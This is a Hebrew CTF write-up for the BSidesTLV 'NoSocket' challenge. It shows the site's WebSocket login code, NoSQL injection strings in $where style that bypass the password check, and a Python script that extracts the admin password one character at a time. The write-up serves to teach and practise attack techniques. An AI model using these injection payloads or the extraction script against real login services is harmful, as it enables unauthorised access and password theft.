NoSocket

נכתב על ידי Yaakov Cohen

NoSocket

הקישור מוביל לאתר עם טופס התחברות:

site

בקוד מקור רואים התחברות לאיזשהו websocket:

var ws;
var url = 'ws://' + location.hostname + ':8000/login';
function openSocket() {
    ws = new WebSocket(url);
    ws.binaryType = 'arraybuffer'; // default is 'blob'


    ws.onopen = function() {
        console.log('open');
    };

    ws.onclose = function() {
        console.log('close');
    };

    ws.onmessage = function(e) {
        if (e.data instanceof ArrayBuffer) {
            log(decodeCharCode(new Uint8Array(e.data)));
        } else {
            log(e.data);
        }
    };

    ws.onerror = function() {
        log('error');
        closeSocket();
    };
}

function closeSocket() {
    log('closing');
    ws.close();
}

function login() {
    var data = {};  // <- initialize an object, not an array
    data["username"] = document.getElementById('username').value;
    data["password"] = document.getElementById('password').value;
    val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
    // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
    ws.send(val);
}


function decodeCharCode(data) {
    var res = '';
    for (var i = 0, len = data.length; i < len; i++) {
        var value = data[i];
        res += String.fromCharCode(value);
    }

    return res;
}

function log(message) {
    alert(message)
}

openSocket()

אנחנו גם רואים איך משתמש מאומת. בואו נראה אם אפשר להשתמש ב-NoSQLi. נשים admin כשם משתמש ו-' || 1 == '1 כסיסמה. זה עבד, אבל כל מה שקיבלנו זו ההודעה Success!. רגע, הם אמרו שהסמסה של האדמין זה הדגל אז אולי במקום לנסות לעקוף את בדיקת ההתחברות ננסה להשתמש בזה כדי למצוא את הסיסמה.

אנחנו יודעים שכל הדגלים הם בפורמט BSidesTLV{flag}. לכן ניסינו לשים ' || this.password[0] == 'B בתור הסיסמה וקיבלנו את ההודעה Success!, נראה שאפשר להשתמש בטכניקה הזאת כדי למצוא את כל התוים של הסיסמה.

דילגנו על 10 התוים הראשונים כי אנחנו יודעים שהם BSidesTLV{ וניחשנו שהדגל כולו יהיה פחות מ-30 תוים.

הקוד:

import string
from websocket import create_connection


def crack_char(index):
    for char in string.printable:
        pass_inject = "' || this.password[%d] == '%s" % (index, char)
        data = "{\"username\":\"admin\", \"password\": \"%s\"}" % pass_inject
        ws.send(data)
        response = ws.recv()
        if "Success!" in response:
            return char


ws = create_connection('ws://two.challenges.bsidestlv.com:8000/login')
response = ""
for i in range(10, 30):
    response += crack_char(i)
    print response

print 'Flag: BSidesTLV{' + response  # BSidesTLV{0r0n3Equ4l0n3!}
ws.close()

Success